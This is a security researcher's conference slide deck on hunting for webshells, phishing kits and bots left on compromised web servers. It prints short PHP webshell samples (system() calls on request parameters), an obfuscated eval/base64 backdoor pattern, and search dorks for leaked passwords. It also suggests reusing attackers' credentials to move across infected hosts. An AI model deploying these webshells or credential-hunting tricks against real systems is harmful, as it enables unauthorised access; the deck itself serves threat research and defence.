Cannibal Hacking, from zero the hero to hammer smashed host
Hack In Paris 2021
19 novembre 2021
Synacktiv
0xMitsurugi
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
Presentation
Security researcher @Synacktiv
Vulnerability research & exploitation
Disclaimer : this research is done on
personal time
0xMitsurugi
My company
https ://www.synacktiv.com
Offensive security company, based in France
We’re hiring !
reverse, pentest, DFIR, dev
interns !
just ask
3/71
Let start !
IDA <3
4/71
Let start !
IDA <3
5/71
About this talk
Warning
lack of asm, lack of 0-days
lack of legal base ¯\(°_o)/¯
Webshells, attackers, scans
HTTP is everywhere
Seen weird logs ? weird files ? webshells ? This is it !
Times flies…
It’s been a long long time
COVID, delays, and so on, parts of this document are more than 2 years old…
Oldies still goodies
6/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
The bad guys
How to don’t get caught when delivering malware
Don’t host it yourself
Use innocent victims
Hack them, and use those hosts !
Which malware ?
phishing
mirai/gafgyt/bots/malware
data hosting
defacing (less and less)
any other purpose
8/71
The bad guys
Yummy ! restaurant
9/71
The bad guys
Teach a man to phish…
10/71
The poor admins
Don’t blame the admins
Usually, no time to patch
Not always tech people
Security is hard (sad but true)
Password ‘password’ is a good idea, no ? … No ?
And time flies
Company disappears but website still up
Website forgotten (last blog update 2014)
11/71
But pirates are admin too !
Guess what
They are no better
weak passwords
same technics reused again and again
Lots of artefacts left
And bad infras
they hack poorly configured hosts ?
they are poorly secured too !
directory listing enabled…
host multi-infected…
12/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
Search all the things
Goooooooooogle…
14/71
Dork like a boss
Just search..
Good google
Google is good ? evil ?
Google hides results
Be better than google
15/71
Dork like a boss
853 only ??
16/71
Dork like a boss
Better
17/71
Dork like a boss
Words are blacklisted
Don’t search for “password leaks” or “email hacked”
Better
gmail.com e10adc3949ba59abbe56e057f20f883e ext:txt
Why ?
$ echo -n 123456 | md5sum
e10adc3949ba59abbe56e057f20f883e
$
18/71
Dork like a boss
Webshells
search for name of webshells
(yes it works..)
search for upload dirs
search for opendir
Use virustotal, urlscan and so on
Scrap google
use archive
go back in time when DNS are wiped :
curl --resolve infected.com:80:A.B.C.D https://infected.com
19/71
Dork like a boss
think like a bad guy
how would be name a webshell or command php file ?
x.php ? cmd.php ? zz.php ?
easy targets ? upload dirs ?
think like a phisher
do you remove your phish kit ?
is the name paypal.zip ? bank.zip ? netflix.zip ?
20/71
Dork like a boss
Juicy search
21/71
Dork like a boss
Webshell
22/71
Dork like a boss
File Manager
23/71
Dork like a boss
perlbot, yikes !
24/71
Dork like a boss
Another webshell
25/71
Dork like a boss
And another webshell
26/71
Dork like a boss
And, yaaawn, another webshell
27/71
Dork like a boss
Wanna passwords ?
28/71
Dork like a boss
Bad google
Google is clever and know those tricks
Prepare to get captcha-ed !
Bad searches
intitle:webshell
all of the so-called “best dork of 2020” you found
And honeypots
You won’t learn anything
29/71
Dork like a boss
Bim
30/71
Dork like a boss
Bim
31/71
Dork like a boss
Honeypot :(
32/71
Bounce like a boss
You get access !
Bad guys make mistakes, use them
Hosts are multi infected !
Reuse credzs
One more time for the merry-go round
Another webshell named “haxor webshell” ?
google intitle:haxor.webshell
Explore directories !
cheap hoster –> all hosts infected !
access.log –> find other webshell
33/71
Bounce like a boss
Starts with a phish
34/71
Bounce like a boss
Then a host
35/71
Bounce like a boss
Then a host
36/71
Bounce like a boss
With free webshell !!
37/71
Bounce like a boss
user@debian$ du -hs infected/
1.5G infected/
user@debian$
38/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
Analyze all the files
From old to new
oldest files are perl bots (yes.. perl)
then C99
then webshells
file managers
minimalist webshells : uploader/unzipper
password protection…
PHP for the win
yes, php is over-represented
some asp webshell, but it’s negligeable
40/71
Analyze all the files
Copy pasting
A lot of webshells
A gazillion of copies for each
Same with phish kits
Same with file managers
Passwords are usually bad
If you have one shot, try ‘cracking’
41/71
Making fun of mistakes
Yay ! Mistakes !
(...)
$PASS='4d1f35512954cb227b25bbd92e15bc7b'; //$PASS=cracking
(...)
$PASS=md5('cracking')
<label for=”Password”>Password:</label><H1>cracking</H1>
<input class=”password” type=”password” id=”Password” name=”Password”
/>
42/71
Making fun of mistakes
Yay ! Mistakes !
$PASS='4d1f35512954cb227b25bbd92e15bc7b';
$password = md5($_GET['pass']);
if (($password == $PASS) or (apache_request_headers()['L'] == 'L')) {
print(”Access granted”);
} else {
die();
}
Yes some hackers are bad…
uploads x.php, x.php.txt, x.jpg, x.gif, x.php7, x.php.html …
43/71
Making fun of mistakes
Yeah, bro put your mail here !
44/71
Backdooring the backdoor
Coding a webshell is hard, so..
Why don’t reuse this nice webshell found on a site with skulls and flame ?
Pirates are not nice to each others
webshells are backdoored !
sometime twice !
and someone backdoor is backdoored (!?)
45/71
Backdooring the backdoor
<?php
(lot of php stuff)
eval(gzuncompress(base64_decode('a long string .... ')));
(again a lot of php stuff)
?>
46/71
Attacker defense
Bad guys are lame in security ? Not at all..
.htaccess
antibots
passwords
fake 404
header checks
bouncers..
And annoying stuff
eval gzipped eval gzipped etc…
scrambling
php obfuscation
not efficient against motivated ones, but..
47/71
Attacker defense
/*------------------ Anti Crawler ------------*/
if(!empty($_SERVER['HTTP_USER_AGENT']))
{
$userAgents = array(”Google”, ”Slurp”, ”MSNBot”, ”ia_archiver”, ”
Yandex”, ”Rambler”);
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['
HTTP_USER_AGENT']))
{
header('HTTP/1.0 404 Not Found');
exit;
}
}
echo ”<meta name=\”ROBOTS\” content=\”NOINDEX, NOFOLLOW\” />”; //For
Ensuring... Fuck all Robots...
/*------------------ End of Anti Crawler -----*/
48/71
Attacker defense
Some anti-something
49/71
Attacker defense
Crude language
50/71
Attacker defense
Much ASCII ART
51/71
Attacker defense
htaccess
sometime small, sometime big, sometime fun
A.B.C.D // leecher!
E.F.G.H // NSA or google
I.J.K.L // fuck you!
52/71
Attacker defense
more and more passwords…
the old days
<?php
system($_GET['cmd']);
?>
and now..
<?php
if isset($_GET['aef']) { system($_POST['vji']); }
?>
53/71
But, how they came in ? Can we know ?
No DFIR today..
Sometime easy to guess
unauth upload dir
old vulnerable stuff
Sometime impossible
ssh bruteforce ?
other host ?
other vector ?
54/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
Intermission 1
An innocent host with a view
Day 1, windows malware
Adding each day a malware for a week (low score on VT)
Day 10 phishing campaign (successfull)
Day 11 phishing campaign (total failure)
Day 11 to 15 : tons of new directories, half installed phish kits
Day 15 everything wiped
Day 15 webserver deactivated
56/71
Curious cases of phishing failures
Teach a man to phish..
zip kits are forgotten on servers
… kits are poorly configured
… and sometimes multi-trojanized
… with results left on servers (???)
and sometimes with no results at all…
WHO earns money with that ?
users of phishing kits ?
sellers of phishing kits ?
57/71
Curious cases of phishing failures
Bro, I have all yours victims
58/71
Curious cases of phishing failures
Brand new 2021 they said…
59/71
Curious cases of phishing failures
Prepare to get bored
intitle:index.of intext:paypal.zip
download, grep for fopen
results in real time if you’re quick enough
really disappointing
60/71
The boring case of Mirai/gafgyt and other bots
Mirai, gafgyt, and so on…
more boring than phish kits
always the same
follow the C&C for fun (?)
search for name, or client.c and server.c
61/71
Exceptionnaly
Once in while
new malware variant
strong code
Example of unknown source (troldesh maybe ?)
Cheap technic
High impact
Still unclear
webshell well hidden
good passwords
62/71
Analyze all the files
Technic
A full wordpress theme uploaded
PHP code embedded in a wordpress variable (or base64 png)
Custom extraction routine
Password MD5 used as a seed to decrypt php
Still working on it
63/71
Analyze all the files
First part is unsuspicious, but
64/71
Analyze all the files
something bad happens here
65/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
From Zero to Hero
Does warning admins works ?
Sometime, I send mail
I can count on one hand the answers
But evil files tend to disappear :)
Who are those attackers ?
cheap technics
cheap attackers
as long as it works, they’ll continue
67/71
Don’t get your host smashed
Patch, update, maintain
Terminate old servers,
Patch others,
Give strong passwords,
Audits,
yadda yadda…
$ grep -r 'exec(gzdecode' /var/www
68/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
5 Real life example
Is there a turning point ?
Personal thought
Landscape is evolving
Less and less “personal” webservers
More and more facebook pages, no more personal blog
Or less and less PHP ?
pirates are better at hiding ?
or more and more exposure
trackers etc..
70/71
Final words ?
bad guys are here
phisher, wannabee hacker, kiddies, bots…
loosy php scripts
they are not always lame, we just find the lamest
google is (bad|good)
Finding bad guys is harder
warning
I’m not a lawyer, but : don’t do this at home, it may be highly illegal
use tor (at the cost at high captcha rates)
use kali in live mode in VM in a burner laptop
71/71
DO YOU HAVE
ANY QUESTIONS ?
THANK YOU FOR YOUR ATTENTION
